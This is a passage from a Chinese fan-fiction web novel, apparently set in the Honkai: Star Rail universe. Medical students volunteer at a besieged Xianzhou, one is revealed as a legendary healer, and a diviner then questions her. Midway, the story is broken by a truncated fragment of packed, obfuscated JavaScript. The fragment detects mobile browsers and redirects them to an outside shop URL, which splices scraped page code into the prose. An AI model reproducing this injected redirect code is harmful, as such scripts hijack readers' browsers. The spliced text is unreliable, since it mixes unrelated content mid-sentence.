兰涯还得偿所愿地摸到了狐人毛茸茸的尾巴和耳朵。那触感比她想象的要柔软得多。白焰被摸得有点不好意思,耳朵微微泛红,但没有躲开,只是小声说了一句“别摸太久”。 兰涯心想,这真的是太棒了。 提交完作业,正准备离开,自习室角落的两张桌子旁传来了压低的闲聊声,打破了室内的静谧。兰涯和白焰同时抬起头,看向那个方向。 说话的两个人凑在一起,语气里带着几分兴奋与神秘。 “你听说了吗?博识学会的完美进化学派,最近又有了新的研究进展,还是关于细胞复合再建技术的。”其中一人压低声音,语气里满是好奇。“他们一直在钻研,是否存在一种完美的载体,能够作为智慧的存在形式,摆脱有机生命的局限。” 另一人点了点头,接过话茬,语气里多了几分笃定。“当然听说了。完美进化学派的学士们早就不满足于有机生命的承载形式了。你想想,我们的大脑不过是小小的蛋白球,寿命有限,思维也有局限,根本无法承载更高级的智慧。” 白焰停下了手中的笔,毛茸茸的狐耳轻轻竖了起来。她的耳朵微微向前倾斜,那是在认真倾听时的习惯。 她悄悄凑到兰涯身边,压低声音说道:“完美进化学派,我听说过。他们的理念很极端,总想着突破有机生命的局限,甚至有人想和丰饶民合作,打造没有副作用的长生种呢。”她的表情没有说完整,但兰涯从那张脸上读出了“目前并没有成功”的意思。 兰涯轻轻点了点头,继续听着角落里的闲聊。 那人顿了顿,又继续说道:“而且他们还盯上了机械帝皇的「权杖」系统。你应该知道,「权杖」是以智识星神博识尊的思考方式为原型,仿造的无机仿生神经元集群,遍布曾经的帝国星域,本质上就是帝皇的外置思考器官。按理说,这种庞大的无机神经元集群,理应具备承载智慧的特质。” “没错!”另一人应和,“完美进化学派的学士们认为,「权杖」系统的潜力巨大,只要加以改造,就能成为完美的智慧载体。他们觉得,在小小的蛋白球和有限的寿命之外,终将会创造出更具有超越性的智慧,摆脱有机生命的束缚,甚至能短暂动摇区域内的物理法则,实现真正的进化。” 「权杖」是第二次帝皇战争中的重要工具。鲁珀特二世曾试图通过它扩展自身思维,打造一个「知识奇点」,只是最终未能完成便死去了。「权杖」也在学派战争中瘫痪。 兰涯从未想过,这样一套废弃的系统会被完美进化学派当作突破的方向。 白焰的眉头也皱了起来。她不敢多说话,生怕惊扰那两人的谈话,就在手机记事本上打字。“可是,「权杖」系统曾经被用来散播反有机程式,让无数世界生灵涂炭。完美进化学派真的能改造它吗?”她把手机递到兰涯面前,兰涯看了看,没有回复,她也不知道答案。 这边两人不敢多发声音,不代表自习室其他人不反驳。另一桌的女生插入话题,声音不大,但很清晰,像一把小刀切开了那层窃窃私语的薄纱。 “那你们俩怎么不提到天才俱乐部呢?” 15. 第 15 章 那两人愣了:“天才俱乐部?” 女生露出一副“你们懂个〇”的表情,下巴微微扬起,眼神里带着一种居高临下的怜悯:“除了完美进化学派,天才俱乐部第64席原始博士,他提出了一个古人类计划,简直颠覆了所有人的认知。” “古人类计划?”两人有些震惊,其中一个张大了嘴,另一个手里的笔都掉了。“把古代人创造出来吗?” 女生摇摇头,眼里带着敬仰的光芒,那光芒很亮,像有人在她眼睛里点了一盏灯。 “博士认为,宇宙走向终末的结局,根本原因就是现在的人类物种不够优质,太过脆弱,无法适应宇宙的变化。而在远古时期,甚至在星神诞生之前,那些古人类才是最纯粹、最优质的物种。他们没有被欲望裹挟,没有被伤病困扰,拥有强大的生命力和纯粹的智慧。” “天才的思维果然是我们常人无法匹及的啊。”那两人讪讪地感叹,脸上写满了“虽然我听不懂但感觉很厉害”的表情。一个人搓了搓手,另一个人点了点头,像是在附和什么了不起的真理。 兰涯的心脏猛地一沉。宇宙的终末,竟然被归结为“人类物种不够优质”。那些被她救下的生灵,那些在战火中挣扎的生命,难道真的只是“不够优质”的存在吗? 白焰毛茸茸的狐耳微微下垂,耳尖几乎贴到了头发上,蓝色的眼眸里满是困惑与不解:“原始博士的想法也太极端了吧?古人类就算再纯粹,也已经消失在历史的长河里了。强行返祖,只会带来更多的灾难吧?而且,宇宙的终末,怎么可能只因为人类不够优质呢?” 她的声音越说越小,最后一句几乎是自言自语。她的尾巴在椅子下面不安地甩了一下,又甩了一下。 也许是那三人的讨论声过大,吸引来了巡逻的自习室管理员。白焰和兰涯也不好意思留在这里讨论,趁乱离开了自习室。 走到外面,说话也不用那么掐着嗓子了。白焰脑袋上的狐耳都快乐地一抖一抖,像是刚从笼子里放出来的小动物:“这次期末考试结束,兰涯你想去哪里?” 兰涯摇头:“我不知道。” 白焰圆溜溜的蓝眼睛看向她:“那你的毕业证书怎么办?” 博识学会医学院并不是通常星球意义上的七年制,准确说是无限毕业制。 虽然这群学生在博识学会的学士面前,犹如大象脚下的小石子,微不足道,当然,博识学会在天才俱乐部的天才们面前也是如此。 但能熬过第一个月不被劝退、不被收回学院制服,在普通人类眼里已经是难得的学霸了。 学院的数据统计显示,每年入学的新生中,大约有三分之一会在第一个月内被劝退,不是因为成绩太差,而是因为承受不了那种“你什么都不是”的氛围。 如果能顺利学完理论和实验室操作知识,并且通过考试,又属于学霸中的佼佼者——学神了。 很多人连续挂科留级很多年,据说曾经有一位学生熬了整整一个琥珀纪才修满学分通过考试,毕业那天他拿着毕业证书嚎啕大哭,因为接下来等着他的是要还公司整整一个琥珀纪的学费贷款。 同时,通过了以上考试还不算毕业,需要自己外出实践,简称实习。无论是哪里的医院,亦或是战场,只要有浮台机器人跟踪拍摄的实践视频,就能作为毕业证明的最后一环。 据说很早以前还不用上视频自证,只需要一纸敲章公文即可。校方万万没想到,为了多快好省地毕业,学生们真是无所不出其右。 批量生产公文证明已经是小事了,还有伪造螺丝星帝王签名的,甚至还有自称在巡海游侠处实习、交出了一张看起来烟熏火燎带着孜然辣椒味的证明,落款处歪歪扭扭写着“LaMandla”,字母还拼错了。 所幸巡海游侠和公司都没有注意到这事,不然那位学生的人生会更精彩。 “嗯……”兰涯思考着,“不毕业,直接肄业也可以吧。” 白焰的狐耳都竖起来了,像两根被拉直的弹簧:“什么?” “我来这里就是为了补习一些医学知识,现在目的已经达成了。毕业证书对我来说没什么意义。”兰涯说的是实话。 她不需要那张纸来证明什么,她需要的是知识本身。那些关于人体结构、病症分类、创伤处理的课程,她已经学得差不多了。剩下的那些课程,比如医院管理、医疗法规、医疗保险理赔,她实在想不出自己有什么必要去学。 狐耳焦虑地摆起来,左一下右一下:“那你花学费进来干什么?体验生活吗?” “呃,这么一想,也不算花我的钱?” 学费是信用点,信用点是布鲁斯家族给的诊金之一,还有通过他的关系前来治病的战略投资部某些成员给的诊金。 这个学院严格意义来说也属于公司,那就不是四舍五入等于没花钱。 兰涯在心里算了一下这笔账,觉得自己的逻辑没有问题。 不知道白焰大脑里进行了什么头脑风暴,她的眉头皱了一会儿,又松开了一会儿,又皱了起来,像是在解一道很难的数学题。最后她做出了一个决定:“你和我一起回仙舟实习吧!” 兰涯露出一个“啊?”的表情。 白焰越想越觉得这个计划完美。她的狐耳又竖了起来,这次是兴奋的竖,耳尖微微向前倾:“我家在仙舟曜青,可以去参加随军医士。你就和我住一起,闲下来曜青有很多好吃好玩的,我带你逛。” 这听起来特别有清澈愚蠢的大学生过暑假的样子。 白焰说得兴高采烈,仿佛已经看到了两个人在曜青的街头吃吃喝喝的画面。 不等兰涯做出回应,白焰一拍手,声音在楼梯间里回荡。“就这么愉快地决定了!” 白焰决定得过早了。 第二天,学院里突然贴出了紧急通知。通知是红色的,贴在教学楼大厅最显眼的位置。 丰饶令使「倏忽」携丰饶民大军已全面围困仙舟「玉阙」。经博识学会紧急商议决定,派遣博学士军团即刻奔赴仙舟支援。现募集医学院在读医学生参与支援,参与支援者可直接完成实习认证,所有支援物资由学会统一供给。 消息公布的那一刻,学院里瞬间炸开了锅。议论声、惊呼声、犹豫声交织在一起,像一锅煮沸了的粥。 兰涯暗自叹息,战争越来越频繁了。那些通过虚数脉络传来的痛楚越来越密集,越来越强烈,像是在告诉她什么。 她下意识地侧过头,看向身边的白焰,却发现白焰早已站起身。毛茸茸的狐耳紧紧贴在头顶,原本灵动的眼眸里没有了往日的活泼,只剩下极致的急切与坚定,显然是被这个消息狠狠震撼到了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485884|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 下一秒,白焰果不其然对兰涯说:“我要去玉阙仙舟。” 她的声音不大,但很坚定,狐人的脸上带着歉意: “对不起,本来计划好带你去曜青逛逛的。” 兰涯摇了摇头,表示没必要道歉:“我和你一起去。” “可是那是丰饶令使「倏忽」,很危险。”白焰的耳朵又往下压了压,几乎贴到了头皮上。她的尾巴在身后绷得直直的,像一根被拉紧的弦。 “白焰。”兰涯突然喊出她的名字,语气平静。 白焰身体一直,像被点了穴:“什么?” “你能去,其他学生能去,我就不能去吗?”兰涯说,主动拉起白焰的手,“太平的日子固然不错,但眼前的事不能不完成。走吧。” 星际战舰划过被战火染得暗红的星云,舷窗外不时闪过破碎的星槎残骸。 战舰上所有人都看到了远处玉阙仙舟方向连绵不绝的火光,那是丰饶民的炮火,正日夜不休地轰击着仙舟的护罩。 整艘战舰里,气氛冷硬。博识学会的博学士们身着深青色作战袍,沉默地检查装备。他们是学者,也是战士。有人在校准枪械的瞄准镜,有人在调试战术头盔的通讯频率,有人在检查医疗包的物资清单。 兰涯坐在靠窗的位置,一身洗得发白的医学生制服,在满是武装的人群里显得格外单薄。她的表情平静,但放在腿上的手已经攥成了一团,指节泛白,指甲陷进了掌心里。那些痛楚又来了,从虚数脉络的深处涌上来,像潮水一样,一波接一波,没有尽头。 身旁的白焰早已坐立不安,狐人的狐耳紧紧贴在颅顶,眼睛死死盯着星图上不断闪烁的玉阙坐标,尾巴在椅侧绷得笔直。 “兰涯,”白焰的声音很轻,却带着抑制不住的颤抖,“玉阙的护罩……还能撑多久?” 兰涯转过头,看着她眼底的焦灼与恐惧,轻轻拍了拍她的手背:“刚才第七轮通气会上已经说过了,云骑军守了七天七夜,护罩裂痕虽多,但未破。我们赶得上。”她的语气平静,心里却很清楚。 丰饶令使倏忽,麾下丰饶民如蝗如潮,所过之处,生灵要么被吸收殆尽,要么被丰饶之力扭曲成不死不活的孽物。 仙舟联盟与丰饶血战数千年,从昔日求药信徒,变成如今以“诛杀寿瘟祸祖”为天命的巡猎追随者。 就连曾经权倾仙舟的丹鼎司,也因历史上与丰饶渊源过深,如今地位一落千丈,人人自危。 表面上,丹鼎司早已弃绝丰饶信仰,可谁都知道,丹鼎司深处,仍有旧部偷偷怀念昔日荣光。 “对,开会的时候说过,我们到了之后,先去战地医院,跟丹鼎司的医士汇合。”白焰用力攥紧拳头,像是在给自己打气,“我学过创伤急救,我能帮上忙……” 舰桥突然传来领队的通告: “全体注意——即将进入玉阙交战空域!丰饶民拦截舰数量众多,云骑军正在外围接应。全员进入战备状态,医疗组优先准备急救器械!” 话音未落,整艘战舰猛地一震,被流弹擦过护盾。警报声尖锐刺耳,红色的灯光在舱内旋转闪烁,把每一个人的脸都照得忽明忽暗。 舷窗外,玉阙仙舟的轮廓终于清晰了—— 曾经云海缭绕、琼楼玉宇、仙气浮空的仙舟,如今已成一座被战火包裹的战场。 16. 第 16 章 战舰在云骑军的护航下强行突破丰饶民的封锁线,降落在玉阙后侧一处临时空港。 舱门打开的瞬间,热浪、硝烟、血腥与焦糊味扑面而来,呛得人几乎窒息。 天空是暗紫色的,被丰饶民的瘴气与炮火染得浑浊。云层中,丰饶民的骨翼战舰如同嗜血的鸦群,不断俯冲、轰炸。 地面上,曾经的街市、栈桥尽数坍塌,燃烧的木料与金属发出噼啪巨响,浓烟遮蔽了日光。有些建筑的墙壁上还挂着招牌,写着“XX茶楼”“XX药铺”之类的字,字迹被烟熏得模糊不清。 云骑军的战士身着铠甲,不言退缩。他们的铠甲上沾满了灰尘和血污,有些人的铠甲裂开了,露出里面的绷带和渗血的伤口。但他们的背是直的,他们的手是稳的。 博学士军团的战士们立刻进入了战斗状态,他们端着武器,在云骑军的掩护下向丰饶民的阵地推进。而医学生们也跟着另一队前往战地医院。 每走几步,就能看到倒在路边的云骑尸体与平民遗骸。 有些尸体被丰饶之力侵蚀,皮肉扭曲、骨节暴突,呈现出诡异的增生状,那是“寿瘟”的痕迹,是仙舟人最恐惧的诅咒。 兰涯经过一具云骑的尸体,他的半边脸长出了奇怪的东西,像树枝一样伸展。 白焰看到一具狐人孩童的尸体,皮毛焦黑,小小的身躯蜷缩在瓦砾下,眼睛还圆睁着。 她脚步一顿,脸色瞬间惨白,狐耳剧烈颤抖,眼泪毫无预兆地砸在地面。 “白焰。”兰涯拉住她的手臂,“哭,也算时间。” 这句话是拉曼查在训练场上对新人说的,他说的时候语气冰冷,不带任何安慰。但兰涯记得那句话,记得说那句话的时候拉曼查的那双眼睛是冷的。 白焰猛地抬头,用力抹掉眼泪,手背在脸上蹭出一道红痕。她咬着牙,一字一句地说:“我知道。我们走。” 两人跟着博学士军团的队伍,在云骑军的引导下穿过层层废墟与警戒线,抵达玉阙最大的战地医院。 那里原本是丹鼎司的太真丹室,如今被改造成临时急救中心。还没进门,就已经能感受到里面的混乱与窒息。 宽敞的大殿里密密麻麻躺满了伤者,从地板到台阶,从廊下到殿外空地,一眼望不到头。有人躺在担架上,有人直接躺在地上,有人靠在墙角,有人趴在桌子上。绝大多数是云骑军战士,也有大量平民、工匠、甚至丹鼎司的医士本身。 空气中弥漫着血腥味、药味,以及濒死的气息。三种味道混在一起,形成一种粘稠的、让人喘不过气的氛围。 呻吟声、哭喊声、医师的交流声、器械的碰撞声,嘈杂得让人头皮发麻。有人在喊“医师救我”,有人在喊“孩子我的孩子”,有人在低声念叨着听不懂的话,像是祈祷,又像是咒语。 数十名丹鼎司医士在伤者之间来回奔忙。每个人的脸上都写满了疲惫和绝望。他们的手在发抖,不是因为害怕,是因为太累了,累到肌肉不受控制地抽搐。可面对眼前的伤者,这些医术显得无比苍白。 这次围攻玉阙的是丰饶令使倏忽亲自出手。祂的力量带着强烈的侵蚀性与诅咒性,远超普通丰饶民。 云骑军的伤口,要么被腐蚀得不断溃烂,无法愈合;要么被丰饶之力侵入经脉,导致肉身疯狂增生,骨血畸变;更有重伤者,脏腑尽碎,只剩最后一口气吊着。 丹鼎司的医士们拼尽全力。金光一遍遍洒下,丹药一颗颗喂下,可伤者的伤势依旧在恶化,长出新肉,新肉又坏死,坏死的地方又长出更新的肉,永无止境,像一场没有尽头的酷刑。 “不行……压不住瘴气……”一个年轻的医士蹲在地上,手按在伤者的胸口,他的眼泪掉了下来,滴在伤者的脸上。伤者的眼睛闭着,不知道疼,也不知道有人在为他哭。 “经脉全毁,生机散了,回天乏术……”另一个年长的医士摇了摇头,声音沙哑,像是已经说了很多遍这句话。 “不,帝弓在上……为什么……”有人跪在地上,双手合十,对着天空祈祷。 兰涯目光快速扫过全场。她看到无数濒死的云骑战士,丹鼎医士束手无策,只能摇头叹息,转身去救下一个还有希望的人。 她看到一名年轻的云骑校尉,半边身子皮肉漆黑,骨骼外露,却依旧紧握着长弓,嘴里喃喃:“帝弓……护我仙舟……”他的声音很轻,轻到像是风一吹就散了。 “白焰,你自便。”兰涯低声道,声音里没有犹豫,“我去救最重的那批。” 白焰一愣,眼睛睁大了:“你……你一个人?” 兰涯没时间解释了,只是点了点头,转身便朝着那片濒死伤者最密集的区域走去。她一边走一边拔下了发间的两枚针。 几名丹鼎司医士注意到她,以为是新来的医学生不懂事,皱眉拦在她面前。“那边没救了,别过去添乱。” 兰涯没有停步,径直走到那名半边身子溃烂的云骑校尉面前,蹲下身。 校尉已经陷入半昏迷,呼吸微弱如丝,胸口几乎没有起伏。他的皮肤以肉眼可见的速度变黑、坏死,清瘟丹药完全无效。 旁边的丹鼎医士叹了口气,准备盖上白布。 “等等。”兰涯开口,声音不大,却清晰地压过周围的嘈杂,“还能救。” 她伸出手,双针在指间翻转,周围的丹鼎医士都愣住了。 “那是什么针?” “没见过……不是丹鼎司的九针,也不是云骑的军针。” “连点术法光芒都没有,能治倏忽的瘴气?开玩笑吧……” 兰涯全然不理会周遭的目光与议论。 她屏息凝神,金色的时针精准刺入校尉胸口几处大穴。那些穴位不是仙舟正统的经脉穴位,而是她走遍星际,从无数种族生理结构中总结出的“点位”。 校尉的皮肤停止了变黑。那片黑色的边界像是被什么东西挡住了,停在那里,不再蔓延,像一道被冻住的潮水。 银色的指针刺入,奇迹发生了。 原本漆黑溃烂的血肉以肉眼可见的速度恢复原状,黑色褪去,红色重新出现,新生的皮肤从伤口边缘向中心生长,扭曲暴突的骨骼缓缓复位、愈合,发出轻微 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那是一名中年骁卫,胸口被丰饶民的骨刃刺穿,心脏破裂,嘴唇发紫,眼睛半睁着,瞳孔散大,只有一丝微不可查的神魂还未散尽,像一缕烟,随时会被风吹散。 丹鼎司的医士早已放弃,摇头道:“心脉尽断,仙舟无药可医,埋了吧。”他的语气很平静,不是冷漠,是麻木。一个人说了太多次“埋了吧”之后,语气就会变成这样。 兰涯再次蹲下身。双针齐出,一针刺心脉断点,一针刺神魂归位。 金色的光芒从针尖涌出,像是有一条看不见的线,把断裂的心脉重新缝合在一起。银色的光芒从另一枚针尖涌出,像是一只手,把那缕快要散尽的神魂抓住,按回身体里。 这一次,效果更加惊人。原本停止跳动的心脏缓缓收缩、复苏,喷涌的鲜血止住,像是有人关上了水龙头。涣散的神魂被强行拉回肉身,骁卫的脸上开始有了血色,嘴唇从紫色变成了粉红,从粉红变成了正常。 短短数十息,那名“已死”的骁卫猛地睁开双眼,剧烈地喘息起来。他大口大口地吸着气,像是一个被按在水里很久的人终于浮出了水面。他的手指抓着地面,指甲里嵌着泥土和碎石子,他抓着,像是在确认自己还活着。 他活过来了。 “骁卫醒了!” “那位医师……她救活了骁卫!” 周围的伤者、医士、云骑士兵,全都沸腾了。一双双眼睛,齐刷刷投向兰涯的身影。 她在人群中穿梭,双针所到之处,被瘴气侵蚀的,痊愈。筋骨寸断的,复原。脏腑破碎的,重续。甚至只剩一口气的,也被她从鬼门关拉了回来。 没有丰饶辉光。没有丹鼎术法。 兰涯救起第十名濒死云骑时,这位云骑睁开眼睛,努力撑起身子。他是一名老兵,脸上有好几道旧伤疤,他看着兰涯,看着那双针,。 “这手法……这双针……”他的嘴唇在哆嗦,“你是……你是传说中的「绝境医师」?!” 17. 第 17 章 “绝境医师”四个字,如同惊雷,在整个战地医院轰然炸响。 所有人的目光齐刷刷聚焦在兰涯身上,那些目光里有震惊,有敬畏,有难以置信,有那种在黑暗中突然看到光时才会有的东西。 绝境医师的名号在仙舟联盟与星际间早已是传说。没人知道她的真名,没人知道她的来历。只知道在无数被战火吞噬的星球、被反物质军团肆虐的废墟,都曾出现过她的身影。 她身着素衣,手持双针,无门无派,无宗无师,却能医死人、肉白骨、解万毒、破诅咒。 她从不多言,救完人便消失,如同绝境中的一缕微光,短暂出现,却照亮无数生死边缘的灵魂。 有人说她是与巡海游侠同行的巡猎命途医者,有人说她是从丰饶星神药师处取得了其他令使得不到的力量,还有人说她的双针藏着宇宙的终极奥秘。 但没人真正见过她,更没人想到这位传说中的绝境医师竟然会是一个穿着洗得发白的医学生制服的女性。她看起来不像一个传说,像一个在图书馆里坐了一整天的学生。 “她……她就是绝境医师?” “我的天……竟然是真的!” “是她救了我们……是绝境医师救了玉阙!” 在医术面前,在生命面前,一切身份、派系、规矩都显得微不足道。 白焰僵在原地,彻底呆住了。她看着那个在人群中从容施救、双针翻飞的身影,大脑一片空白。 和她一起在自习室啃书本、一起吐槽博识学会的课程、一起吃饭、一起报名支援的兰涯,那个总是安静地坐着、时不时会走神的同班同学,竟然是传说中拯救过无数战场伤员、名动寰宇的绝境医师? 白焰的狐耳竖得笔直,蓝色的眼睛瞪得溜圆,尾巴僵硬地翘着。 她的大脑在飞速运转,那些画面像走马灯一样闪过,兰涯在自习室抄她答案的样子,兰涯摸她尾巴时眼睛发亮的样子,兰涯说“不毕业也可以”时那种理所当然的语气。 她终于明白了,为什么兰涯面对实验室的遗骸从不害怕,为什么她愿意和自己一起奔赴这必死的战场。 因为绝境医师本就是从死亡手里抢人的。 战地医院的气氛从绝望转为狂喜,从混乱转为有序。 丹鼎司的医士们也纷纷主动过来,配合兰涯一起施救。有人帮她抬病人,有人帮她清理伤口,有人在她身后举着灯,把光线对准她每一次下针的位置。整个大殿像一个被重新上了发条的钟表,每一个齿轮都开始转动。 “我的医学知识和诸位比起来,只能说是寥寥无几。” “我不能保证百分百治愈。” 兰涯直接说了大实话,时间紧任务重,来不及解释多少。她一边施针,一边让他们把重伤员安排给自己。 丹鼎司自动分成了两个区域。大部分医士在轻伤区治疗,而那些医士认为无法施救的重伤员则被转移到兰涯这里。担架一个接一个地抬过来,排成一排,像一条望不到头的河流。兰涯从一个担架走到另一个担架,蹲下,扎针,站起来,再蹲下,再扎针。她的腿开始发麻,腰开始发酸,手指开始发抖,但她没有停下来。 有一小撮人,在此时却显得格外异样。是丹鼎司里,几名年纪较长、资历较深的老医士。他们没有像其他人那样围过来请教,反而远远地站在角落,背对着人群,低着头,手里拿着纸笔,飞快地、秘密地记录着什么。 他们的脸色阴沉,眼神复杂,有震惊,有疑惑,有不甘,还有一丝……深藏的、不敢外露的反感与排斥。 为首的一名老医士,眉头紧锁,笔尖在纸上沙沙作响,嘴里低声喃喃,声音细若蚊蚋,只有身边几人能听见—— “……伤者濒死,我等丰饶祝祷、丹鼎术法尽无效……此人以双针施治,无半分丰饶辉光,悖逆常规,非我药王慈怀一脉……” 旁边的另一名医士,脸色发白,紧张地四处张望,低声提醒:“师兄……慎言!这话要是被十王司听到,我们都要被当成药王秘传抓起来!” “我知道!”老医士压低声音,语气里满是压抑的不甘与执念,“我只是……只是记录……这等异端医术,违背药王慈怀大道……” “可她确实救活了……救活了那么多我们救不活的人……”那个医士的声音越来越小,小到几乎听不见。他的脸上有一种说不清的表情,像是在动摇,又像是在害怕。 “那又如何?”老医士眼中闪过一丝偏执的暗光。“没有丰饶赐福,没有药王慈怀,再好的医术也是旁门左道,是异端!我们丹鼎司昔日的荣光,就是被这些异端毁了……” 他的声音里有一种咬牙切齿的东西,像是一块石头被人用锤子砸碎了,碎屑飞溅,扎进肉里。他们的声音极低,如同蚊蚋,不敢让任何人听见。 他们不敢公开指责兰涯“异端”,因为在仙舟联盟,“丰饶”才是异端。 他们不敢大声抱怨,更不敢暴露自己的真实想法,因为他们就是丹鼎司内部,残留的、暗地怀念丰饶、信奉药王、私传秘传的旧部。 在公开场合,他们必须和所有人一样,高呼“帝弓护佑”“铲除寿瘟”。 可在心底,在私下,他们依旧坚信,只有丰饶药师的力量,才是真正的“慈怀”,才是最高明的医术。 他们无法接受,也不敢反抗,只能在无人注意的角落,偷偷记录、暗暗腹诽、眼神冰冷、心怀怨怼。 “……此法诡异,不循常理……”老医士继续在纸上飞快写着,字迹潦草而偏执,“……长此以往,必乱医道,惑乱人心,是为异端……” “师兄,别写了……有人看过来了!” 几名医士慌忙收起纸笔,低下头,换上一副平静的表情,转身装作去救治伤者,可眼底的阴霾与反感,却久久不散。 有了博学士军团的援助 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“本来想带你去吃鼎镬,不过当下这情况,只能吃包子了。”她的语气里带着一丝遗憾,像是一个没有完成约定的小孩。 狐人少女托着腮,看着兰涯吃包子,终于按捺不住内心的好奇,像是撒娇一样抱怨着:“你瞒我好久啊。” 兰涯抬头,露出了一个淡淡的笑容。 “抱歉,”她轻声说,“因为我本人实在没有什么医学知识,所以才选择听课,不想顶着这个称号惹来非议。” 白焰看着她的眼睛,沉默了片刻,然后用力点头,露出了一个释然的、坚定的笑容。 “我懂。”她说,“不管你是绝境医师,还是我的同学兰涯,你都是我最好的朋友。” 丰饶民的退去,给玉阙仙舟留下了满目疮痍。 一名身着素色道袍的卜者,在云骑士兵的引领下,缓缓走进战地医院。 他须发皆白,但不显年老,额间有一道淡淡的法眼印记,行走间步伐沉稳,周身萦绕着一股看透世事的沉静气场。 周围的仙舟人都忍不住站起身,卜者向兰涯致意,自我介绍:“我是玉阙仙舟的太卜,竟天。兰医师,多谢你救下玉阙万千生灵。” 他微微躬身,语气诚恳,没有太卜的居高临下,只有发自内心的感谢。 兰涯回礼,语气平淡:“我只是做了医者该做的事,无需多谢。” 她早已习惯了这样的感谢,无论是战场废墟,还是仙舟绝境,救人,从来都是她的本能,无关身份,无关回报。 竟天抬手,发出邀请:“医师忙碌许久,还没尝过玉阙的茶,请。” 他的手悬在半空中,掌心朝上,不卑不亢,不亲不疏,恰到好处。 这种邀请,根本让人无法拒绝。 兰涯干脆从善如流,跟着竟天前往茶室。 18. 第 18 章 玉阙仙舟太卜司的茶室隐于琼楼一角,能在战火中完好无缺,可见玉阙太卜的实力。 室内陈设简洁,案几上摆着一套青瓷茶具,茶盏莹白,像一圈凝固的月光。沸水注入时,茶香混着仙舟特有的灵草气息漫开,那味道不浓不淡,恰到好处。 窗外云海翻涌,风过檐角,铜铃轻响,与煮茶的咕嘟声交织在一起,处处透着仙舟独有的韵味。 两方坐下,竟天开口,声音低沉而舒缓:“我代表玉阙上下再次感谢医师。若无医师相助,玉阙的伤亡数量会更大。” 他的手指在茶盏边缘轻轻摩挲了一下,那动作很轻,像是不经意的,但兰涯注意到了。 兰涯不说话。她的直觉告诉自己,竟天还有话要说。 太卜请她喝茶,不是为了说一句“谢谢”。谢谢在战地医院已经说过了,不需要再带到茶室里来说。茶室里的茶,是用来配更重的话的。 果然,竟天直起身。他原本微微前倾的身体向后靠了靠,脊背挺直了,像一张被拉满的弓。目光紧紧锁住兰涯,那眼神仿佛能穿透她,片刻后,他开口了,话语一针见血,打破了室内的平静: “你是终末命途的行者。你是厄兆先锋吗?” “厄兆先锋”四字如同冰锥,骤然刺入空气。 厄兆先锋是由「终末」星神麾下令使组建的预言派系,他们以践行「四末说」为使命,认为四条命途的交织将引动银河的终末结局。 在仙舟,这个名字很少被提起,不是因为没人知道,而是因为知道的人都不太想提。终末命途的追随者总是和“预言”“毁灭”“结局”这些词绑在一起,像一群在婚礼上谈论葬礼的人,不讨喜,但说的往往是对的。 兰涯神色未变。她没有震惊,没有愤怒,甚至没有疑惑。她只是平静地迎上竟天的目光,摇头:“我不是厄兆先锋。” 竟天眼底闪过一丝了然,那表情像是一个猜到了答案的人,在听到答案被说出来时,不是惊喜,而是确认。 他没有追问,只是指尖轻轻摩挲着茶杯,目光望向窗外依旧残破的天穹,语气带着几分玄奥。 “我以十方光映法界卜算你的轨迹,只见一片混沌,却有终末的微光萦绕。” 他顿了顿,像是在整理语言。 “再观医师的双针,想来其中一针是时钟上的所得,故而能溯回躯体的时间,停止伤势蔓延。又闻丹鼎司医士称,你自己所说,伤者只能解一时之痛,未来不知何时,定会迎接同样的命运。故而,我猜医师乃是终末命途行者。” 兰涯低头看了看自己的双手,很多长期使用工具的人,手指上都会有薄薄的茧,比如白焰握笔,游侠持枪。这双手经历了很多,但什么都没有,指节分明,指甲剪得很短,此外和白纸一样干净。 这些年来,她周游星际,救死扶伤,见证过战火纷飞,见证过生灵涂炭,见证过生命的脆弱与坚韧。无数人问过她的命途,她自己也无数次问过自己:究竟走在什么命途上? 是巡猎?她救的是巡猎命途上的游侠和云骑,但她没有浓烈的恨意。 是终末?她的针能逆转时间,但她不是为了预言终末,她是为了推迟死亡。 是开拓?她走过很多地方,但她没有列车,没有银轨,没有同行者。 她不知道。 兰涯没有回应竟天关于终末命途的论断,只是说:“我从未想过自己是什么命途,也不知道自己属于哪一条命途。” 她突然像是想到了一个让自己满意的答案:“假如非要给我的前行之路定一个名字,若有个命途叫兰涯,那我或许就走在这条命途上。” 这句话没有丝毫矫情,只有最真实的坦然。 她不觉得自己属于任何一条既有的命途,她的路是她自己走出来的,每一步都是自己的脚踩出来的,不是从哪个星神那里借来的。 竟天闻言微微一怔,随即笑了,笑意里有释然,也有赞许。 他研究宿命一生,坚信万物皆有定数,却从未想过有人能跳出命途的桎梏,以自身为途,随心而行。 “好一个命途叫兰涯。”他说。 他垂下目光,看着杯中的茶汤。茶汤清亮见底,倒映着窗外的云海。 “玉阙的危机尚未完全解除,丰饶令使倏忽虽退,却未彻底覆灭,仙舟仍需守护。”竟天语气重新变得沉稳,“医师手中的双针之力,是机缘,也是未知的变数。无论医师走在哪条路上,愿守住初心,莫要被宿命裹挟。” 听竟天这么说,兰涯不由问:“太卜常被宿命裹挟吗?” 竟天抿了一口茶,老神在在地说:“我测算出自己将会断绝在弟子手中,即便如此,我也依然遵循着命运的安排。哎,测算得越多,命数就越少,我们卜者的常事罢了。” 他就这么轻描淡写地将自己所算的未来说出来,语气里没有悲伤,没有恐惧,甚至没有遗憾,只有“就是这样”的自然而然。 兰涯忍不住再问:“你知道是哪位弟子吗?” “她尚未出生呢。”竟天慢悠悠地添茶,茶壶倾斜,茶汤从壶嘴里流出来,在杯中打了一个旋,然后安静下来,“以后医师若是见到我那弟子,也好帮我劝一劝她,告诉她为师并不责怪她,只是命数而已。” 他放下茶壶,动作很轻,壶底碰到桌面,发出一个很细很细的“咔”声。 “不过现在么……”竟天举杯示意,“医师的故人来接人了,我也不久留医师,还请自便。” 故人? 兰涯顺着竟天的示意转过头来,看到茶室门口站着一个人。 拉曼查。 他一身风尘仆仆,显然刚从玉阙以外的地方赶过来。风衣的下摆沾着灰,靴子上有泥,头发有些乱,几缕碎发贴在额头上。他的呼吸还没有完全平稳,胸口还在微微起伏,像是一个跑了一段很长的路、刚到终点的人。 